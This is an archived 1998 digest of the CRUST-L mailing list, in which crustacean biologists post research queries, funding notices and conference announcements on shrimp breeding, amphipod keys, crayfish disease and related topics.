wdaniels@dsc.edu Date: 11/05/98 Time: 07:24:34 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Thu, 5 Nov 1998 22:58:08 GMT From: ""Mark J. Costello"" Subject: CRUST-L: Funds for research in Iceland The second deadline for proposals from European researchers wishing to undertake short-term research visits (up to 12 weeks) to the Large-Scale Facility Sandgerdi Marine Centre in Iceland will be the 15th of November 1998. There will be another deadline early in 1999. Travelling cost, lodging and subsistence at the SMC is covered directly by the LSF-project under the EU's Training and Mobility of Researchers (TMR) Programme. All scientists from the EU and associated states (Norway, Liechtenstein and Israel) except from Iceland may submit proposals The SMC is located in Sandgerdi, a small fishing village on the southwest coast of Iceland (50 km from the capital city, Reykjavik) with excellent facilities for work in a friendly atmosphere. The main attraction of the SMC is access to the unique collection of benthic invertebrates from the international BIOICE project (Benthic Invertebrates of Icelandic Waters) which has been operated since 1992. During this time more than 1000 samples have been systematically collected in Icelandic waters, at depths from 20 to 2400m. The collection of samples is still in progress. Most samples have been sorted to 160 of the major taxa of benthic invertebrates. The collection of benthic animals at the SMC offer a wide variety of possible research projects, including studies on taxonomy, phylogeny, zoogeography, and biodiversity of benthic communities in the Arctic and the North Atlantic Oceans. The SMC is equipped with standard high quality laboratory instruments (microscopes with camera, videocamera, computers, etc) and running seawater of exceptionally high quality originating from a 50m deep well in the lava-beds. The contaminant-free seawater offer unique possibilities for experimental work with marine organisms, like studies on toxicology, physiology, behaviour and other general marine biological studies under controlled conditions. Access to Scanning Electronic Microscope is available at the University of Iceland, Reykjavik Collecting opportunities The seashore around the lab harbours a great variety of shore organisms that are easily attainable during low tide (approximately 3.5 m tidal range). A small research vessel equipped with a wide variety of sampling gear (grabs, dredges, nets etc.) is available. For further information and application forms see our web site http://www.hi.is/pub/smc or contact the Project Manager of the Sandgerdi Marine Centre: Mr. Gudmundur V. Helgason, Institute of Biology, University of Iceland, Grensasvegur 12, IS-108 Reykjavik, Iceland, E-mail: gudmvid@hi.is Dr Mark J. Costello, Ecological Consultancy Services Ltd (EcoServe), 7 Glenmalure Park, Rialto, Dublin 8, Ireland. http://www.ecoserve.ie (see also erms.biol.soton.ac.uk) E-mail: mcostello@ecoserve.ie Tel. + 353-1- 490 32 37; \\\\\\\\\\\\\\\\\\\\\\\\\\\\ Home office - 453 31 95; >>---------------------o---) Fax + 353-1- 492 56 94; /// Mobile 087 - 239 339 0. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Fri, 6 Nov 1998 12:30:41 +1100 (EST) From: Sharyn Gale Subject: CRUST-L: Shrimp Breeding Ecology Hello Crustlers, thankyou for all your helpful replies. Some extra information I should've included in my first letter is that when the female became gravid again her juveniles were 2 months old and approx. 17mm in total length. I separated the female immediately after noticing she was gravid and she moulted dropping the eggs 7 days later. I then removed her from this tank, and I have 30 juveniles 1 month old and 8mm in total length. The shrimp C. gracilirostris is a freshwater species. I have had mixed replies as to whether the juveniles fertilized the adult or that she had stored sperm, so any more suggestions would be appreciated! Thanks again, Sharyn Gale ********************************************** Sharyn Gale Environment Division ANSTO PMB 1, MENAI. 2234. Australia +612 T: 9717 3992 F: 9717 9260 ********************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Fri, 06 Nov 1998 11:57:47 +0000 From: Steve Arnott Subject: CRUST-L: Nutrient levels Dear all, I'm interested in consumption by fish predators of small crabs (10-30 mm Carcinus maenas), shrimps (10-60 mm Crangon crangon) and juvenile plaice (10-70 mm Pleuronectes platessa) within shallow bays along the Swedish coast. I am aware of published size-related ash-free dry weight conversion factors for these three prey species, and can use these as an estimate of relative energy content. My question is: Does anyone know of other more detailed literature/information regarding their relative nutrient contents - e.g. protein/essential amino acids, vitamins, minerals etc.? (I'm mainly concerned with summer/autumn conditions if the information is season-dependent). Any help would be gratefully received. Thanks - Steve Arnott. ==================================== Stephen A. Arnott Division of Environmental & Evolutionary Biology Graham Kerr Building University of Glasgow Glasgow, G12 8QQ Scotland, U.K. Email: gbzv61@udcf.gla.ac.uk Tel: 0141 330 5151 Fax: 0141 330 5971 ==================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Fri, 06 Nov 1998 08:57:05 -0500 From: Jeffrey Shields Subject: CRUST-L: Nebalia request (fwd) Please respond to Ariane Gross and not to me. Thanks, Jeff ===============================forward========================= >Subject: Request for Nebalia >From: Ariane Gross >To: >Mime-Version: 1.0 >Content-Type: text/plain; charset=""US-ASCII"" > >Hello! > >I am a student at the University of Munich and am working with NEbalia in >the TEM. Unfortunately the fixation of the animals were so bad, that I >can`t get any results. >Can anybody help me getting new specimens? > >Ariane Gross > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 10 Nov 1998 12:14:11 +0100 From: pnoel@cimrs1.mnhn.fr (Pierre NOEL) Subject: CRUST-L: colloque origine des Hexapoda Un colloque sur l'origine des Hexapoda est organise les 8 et 9 janvier 1999 au Museum - Paris, conjointement par la Societe Entomologique de France et la Societe Zoologique de France. Ces journees devraient motiver tout particulierement celles et ceux qui s'interessent au passage Crustacea -> Hexapoda Les principaux intervenants prevus sont : Bitsch J., Carapelli A., Deutsch J., Deuve T. Dhole W., Friedrich M., Jarzembowski E. A., Koch M., Kraus O., Kristensen N., Nel A., Schram F., Simpson P., Tautz D. Mots-cles : fossiles, paleocommunautes, phylogenie moleculaire, genetique du developpement, Hexapoda, Myriapoda, Crustacea, mandibule, evolution, plan d'organisation, appendices ... Informations complementaires et inscriptions aupres de : M. Thierry Deuve deuve@mnhn.fr [tel : 00 33(0)1 40 79 33 90] Pierre Y. Noel, Biologie des Invertebres marins, CNRS URA no699, Museum national d'Histoire naturelle, 55 rue Buffon, F-75005 Paris, France. e mail pnoel@mnhn.fr Tel +33 1 4079 3098 Fax +33 1 4079 3089 Visitez le serveur du Museum/Visit our Webserver (http://www.mnhn.fr) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Fri, 13 Nov 1998 16:30:30 -0500 From: Jeffrey Shields Subject: CRUST-L: Monoculodes key CRUSTers, I have a tentative ID for Monoculodes borealis using Bousfield's key for amphipods from New England. I'd like to run it through another key to see where it lands. Can anyone point me to another key for the genus? I found the amphipod in abundance in Conception Bay, Newfoundland. Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Thu, 5 Nov 1998 11:34:38 -0400 From: ""=?ISO-8859-1?Q?Cristi=E1n_Correa?="" Subject: CRUST-L: Male diomorfism in caridea. Dear Crusters, Have enybody seen (in field or literature) diferent morphs in males of any species of the genus Rhynchocinetes (camel shrimp)?. I�m studing the implicances (male strategies) eto-eclogical and in reperodictive behaviour of the diferent forms of males of R. typus from Chile. Please forward this male if someone know about related literature. Thank you for your time. Chao. Cristi�n. ******************************************* Cristi�n Correa Guzm�n. Universidad Cat�lica del Norte Facultad de Ciencias del Mar Departamento de Biolog�a Marina e-mail ******************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Fri, 6 Nov 1998 06:38:01 -0400 From: ""=?ISO-8859-1?Q?Cristi=E1n_Correa?="" Subject: CRUST-L: RE to Shane Ahyong >Christian, >'m not quite sure what you mean by different male morphs, but the major >chela of the male becomes proportionately longer with increasing size as in >Saron. >Cheers, - ---------------------------------------------------------------------------- - ----------------------------------- Dear Shane Ahyong, Hi, thank you for answer my letter. Well, with ""morphs"" I mean different forms of males of the same or different size. There are morfometrics (strong allometric growth of chela and ""maxil�pedo"") and morphological differences (number of thorn of the chela and mx. and others) in the last molt stage. There are strong differences in behavior, the last stage is dominant. The male types appeared to be not genetically determined. All traits mentioned above would have a direct effect on the fitness of the different male forms. Macrobrachium rosenbergii have a very closely situation, it has three male forms with a behavioral hierarchy order and physical differences. Furthermore there is an anphipod (Jassa falcata) who have two discrete male forms, one is the last molt stage and the majority of matings are effected by those males. There are other species with different forms of males but genetically determined, for example Paracerceis sculpta (Isopoda). I'm not aware of Saron situation so I�ll be great if you send me the reference. If any other person know something like this in other species please tell me. Thank you, Chao. Cristi�n. ******************************************* Cristi�n Correa Guzm�n. Universidad Cat�lica del Norte Facultad de Ciencias del Mar Departamento de Biolog�a Marina e-mail ******************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Mon, 16 Nov 1998 08:44:24 -0500 From: Jeffrey Shields Subject: CRUST-L: reconstruct population of Chiriocephalus nankinensis (fwd) Please respond to Xue Junzeng, and not to me. Thanks, Jeff ==============================fwd==================================== >Subject: reconstruct the population of Chiriocephalus nankinensis (Anostraca) >Date: Sat, 14 Nov 1998 12:15:42 +0800 >Content-Transfer-Encoding: quoted-printable > >Dear Sirs: > I am Xue Junzeng as a teacher in Hangzhou Normal College. I'm = >interested in ecology and reproductive biology of crustacea. = >Chiriocephalus nankinensis (Anostraca) lived in the temporary habitat = >around the Hangzhou and Nanjing before 1976. It died out from the wild = >habitat with the urbanization and development of agriculture after 1976. = >We collected eggs and enlarged the population in laboratory. Now I plan = >to reconstruct the population in wild habitas (such as rice fild for = >once harvest a year, rice fild for twice harvest a year, = >pond--freshwater come from reservoir, pond--freshwater come from = >grotto). I want to disscusion this item with someong who take intereste = >in the study. >Many Thanks! >Dr. Xue Junzeng >Nov. 14, 1998 >=20 >Name: Xue Junzeng >Address:Department of Biology,Hangzhou Normal College , Hangzhou , = >Zhejiang 310036 , P.R.China >E-mail:wuhuixue@publicl.hz.zj.cn > >------=_NextPart_000_0015_01BE0FC8.7F9E28E0 >Content-Type: text/html; > charset=""gb2312"" >Content-Transfer-Encoding: quoted-printable > > > > > >http-equiv=3DContent-Type>HTML//EN""> > > > >Dear Sirs: >size=3D2>    I am Xue=20 >Junzeng as a teacher in Hangzhou Normal College. I'm interested in = >ecology and=20 >reproductive biology of crustacea. Chiriocephalus nankinensis=20 >(Anostraca) lived in the temporary habitat around the Hangzhou and = >Nanjing=20 >before 1976. It died out from the wild habitat with the urbanization and = > >development of agriculture after 1976. We collected eggs and enlarged = >the=20 >population in laboratory. Now I plan to reconstruct the population in = >wild=20 >habitas (such as rice fild for once harvest a year, rice fild for twice = >harvest=20 >a year, pond--freshwater come from reservoir, pond--freshwater come from = > >grotto). I want to disscusion this item with someong who take intereste = >in the=20 >study. >Many Thanks! >Dr. Xue Junzeng >Nov. 14, 1998 >  >Name: Xue Junzeng >Address:Department of Biology,Hangzhou Normal = >College ,=20 >Hangzhou , Zhejiang 310036 , P.R.China >href=3D""mailto:E-mail:wuhuixue@publicl.hz.zj.cn"">E-mail:wuhuixue@publicl.= >hz.zj.cn > >------=_NextPart_000_0015_01BE0FC8.7F9E28E0-- > > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Mon, 16 Nov 1998 09:03:25 -0500 From: Jeffrey Shields Subject: RE: CRUST-L: Monoculodes key CRUSTers, Thanks to all who responded re my question about Monoculodes. I'll dig up the reference below and see what transpires. >Bousfield, E.L. and A. Chevrier. 1996. The amphipod Family Oedicerotidae on >the Pacific coast of North America. I. The Monoculodes & Synchelidium >generic complexes: Systematics and distributional ecology. Amphipacifica >2(2):75-148. Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Mon, 16 Nov 1998 11:48:15 -0500 From: Jeffrey Shields Subject: CRUST-L: Call for Papers - NSA 1999 Meeting Please excuse the cross post. >From: Karolyn Hansen >Reply-To: Karolyn Hansen >Subject: Call for Papers - NSA 1999 Meeting >Content-Length: 583 > >Greetings - > >The Call for Papers for the 1999 Annual Meeting of the National >Shellfisheries Association has been announced by Program Chair Evan Ward. >NSA members will be receiving information and abstract forms via the Fall >1998 Newsletter. Information may also be obtained by visiting our Web Site >at www.shellfish.org > > Please note that the deadline for abstract submission and student travel >award application is DECEMBER 11, 1998. Hope to see you in Nova Scotia. > > > >NATIONAL SHELLFISHERIES ASSOCIATION >Karolyn Mueller Hansen, Ph.D. >karolina@mindspring.com >www.shellfish.org > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Mon, 16 Nov 1998 11:54:04 -0500 From: Jeffrey Shields Subject: CRUST-L: TCS Summer Mtg in Lafayette, LA CRUSTers, For those who don't get the Ecdysiast, the Crustacean Society will have its summer meeting on May 26-30 in Lafayette, LA. Information on the meeting can be had at nicely developed http://www.usl.edu/Departments/Biology/TCS/. You can also contact Darryl Felder at dlf4517@usl.edu for more info. Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 18 Nov 1998 16:14:33 +0100 From: Andreas Maas Subject: CRUST-L: Anthracophausia Hey folks, I wonder if there are any actual information about the systematic position of the fossil genera Anthracophausia and Essoidia. Are they really euphausiaceans as assumed traditionally, or something different? Who knows about these two genera? Thanks Andreas Andreas Maas Sektion fuer Biosystematische Dokumentation Universitaet Ulm Helmholtzstrasse 20 Tel. xx49-(0)731-503-2001, Fax 2009 email: andreas.maas@biologie.uni-ulm.de =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 18 Nov 1998 19:00:29 +0100 From: ""Fernando Alonso"" Subject: CRUST-L: Aphanomycosis prevention I�d like to know if anyone out there has tried (or know somebody who has) Rantamaki et al. (1992) method (increase of Mg concentration) for preventing the spread of Aphanomyces astaci from infected to healthy crayfish out from lab conditions. We are trying to save a stock of reproductors from a valuable population in a hatchery in this way, and would like to know if there are practical suggestions on this. Thanks. Fernando Alonso Centro de Investigaci�n Agraria de Albaladejito Crta. Cuenca-Toledo, s/n 16194.CUENCA. SPAIN =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 18 Nov 1998 19:00:29 +0100 From: ""Fernando Alonso"" Subject: CRUST-L: Aphanomycosis prevention I�d like to know if anyone out there has tried (or know somebody who has) Rantamaki et al. (1992) method (increase of Mg concentration) for preventing the spread of Aphanomyces astaci from infected to healthy crayfish out from lab conditions. We are trying to save a stock of reproductors from a valuable population in a hatchery in this way, and would like to know if there are practical suggestions on this. Thanks. Fernando Alonso Centro de Investigaci�n Agraria de Albaladejito Crta. Cuenca-Toledo, s/n 16194.CUENCA. SPAIN =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. 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Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 18 Nov 1998 21:22:57 +0100 From: Revista AquaTIC Subject: CRUST-L: Numero 5 de la Revista AquaTIC Dear friends Sorry for cross-postings and for writing in spanish part of this message, but this is the announcement of the NUMBER 5 of a electronic magazine of Aquaculture: AquaTIC =09 http://AquaTIC.unizar.es Thanks NACHO DE BLAS - --------------------------------------------------------------------- Estimados amigos, me complace informar la publicacion del QUINTO numero de la Revista AquaTIC dedicada a la acuicultura, cuyo URL es: http://AquaTIC.unizar.es En este quinto numero pueden encontrar los siguientes articulos: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D N=FAmero 5 - Noviembre 1998=20 - - Editorial: Primer Aniversario=20 - - Fisiolog=EDa de la Digesti=F3n en Larvas de Peces Marinos y sus Aplicacion= es al Cultivo Larvario en Masa.=20 Alarc=F3n L=F3pez, F.J. y Mart=EDnez D=EDaz, M.I. Dpto. Biolog=EDa Aplicada, Escuela Polit=E9cnica Superior Univ. de Almer=EDa (Espa=F1a) - - Estado actual de la Piscirickettsiosis en Salmones.=20 Larenas, J.; Contreras, J. y Smith, P. Universidad de Chile, Facultad de Ciencias Veterinarias y= Pecuarias=20 - - Protocolo Sueco Estandarizado para Pesca de Cangrejo de R=EDo.=20 Edsman, L. Institute of Freshwater Research, Fisheries Board of Sweden=20 - - Actualidad de la Acuicultura en Argentina.=20 Luchini, L.=20 Direcci=F3n de Acuicultura, Buenos Aires (Argentina) - - La Trucha Com=FAn Aut=F3ctona (TCA) en Arag=F3n.=20 Espinosa, E., Josa, A., Munilla, P., Escudero, E. y Peiro, M. C=E1tedra de Reproducci=F3n. (Universidad de Zaragoza) y Direcci= =F3n General del Medio Natural. (D.G.A.)=20 - - Bioagresores de los Peces de Acuario.=20 Fernando Camarero Rioja Licenciado en Veterinaria =20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D ATENCION ATENCION ATENCION ATENCION ATENCION =20 Adem=E1s de estos articulos hemos agrupado nuestras secciones fijas= dedicadas a: -noticias -CURSOS Y CONGRESOS (Con nuevo interface) -informaciones de interes -recetas -webs de interes en acuicultura -Foros de Debate: AQUATIC-L -Legislacion en la seccion UTILES Quedamos a la espera de sus comentarios y sugerencias. Gracias por todo NACHO DE BLAS Editor de Revista AquaTIC =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #7 *************************** crust-l-digest Wednesday, December 2 1998 Volume 02 : Number 008 SUBJECTS ---------------------------------------------------------------------- Date: Thu, 19 Nov 1998 14:53:54 +0100 (MET) From: Lorenzon Simonetta Subject: [none] I'll like to receive information about crustaracean and environmental stress Thank Simo =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Thu, 19 Nov 1998 15:37:45 -0600 (CST) From: Rita Vargas Castillo Subject: CRUST-L: feeding behavior SUBJECTS Someone who knows about feeding behavior of brachiura? if someone else know about this topic, I would like to know the feeding behavior of the following species: Panopeus purpureus Pachygrapsus transversus Panopeus bermudensis Xanthodius sternberghi and Clibanarius albidigitus If theres no one who knows about this species, probably exist general information of the genus or the families (xanthidae, grapsidae, diogenidae). Please send the answer to my request to the follow e-mail Edgardo Diaz Ferguson edgardod@cariari.ucr.ac.cr ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^ RITA VARGAS ^^ ^^ Museo de Zoologia ^^ ^^ Escuela de Biologia ^^ ^^ Universidad de Costa Rica ^^ ^^ 2060 Costa Rica ^^ ^^ ^^ ^^ tel: (506) 207-4468 ^^ ^^ fax: (506) 207-4216 ^^ ^^ E-mail: ritav@cariari.ucr.ac.cr ^^ 